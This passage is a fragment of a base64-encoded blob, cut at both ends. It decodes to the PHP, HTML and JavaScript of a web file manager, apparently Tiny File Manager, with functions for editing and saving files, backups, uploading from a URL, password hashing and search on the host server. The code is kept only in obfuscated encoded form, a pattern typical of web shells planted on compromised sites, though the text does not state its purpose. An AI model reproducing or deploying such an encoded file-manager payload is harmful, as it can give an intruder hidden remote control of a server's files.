nJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3M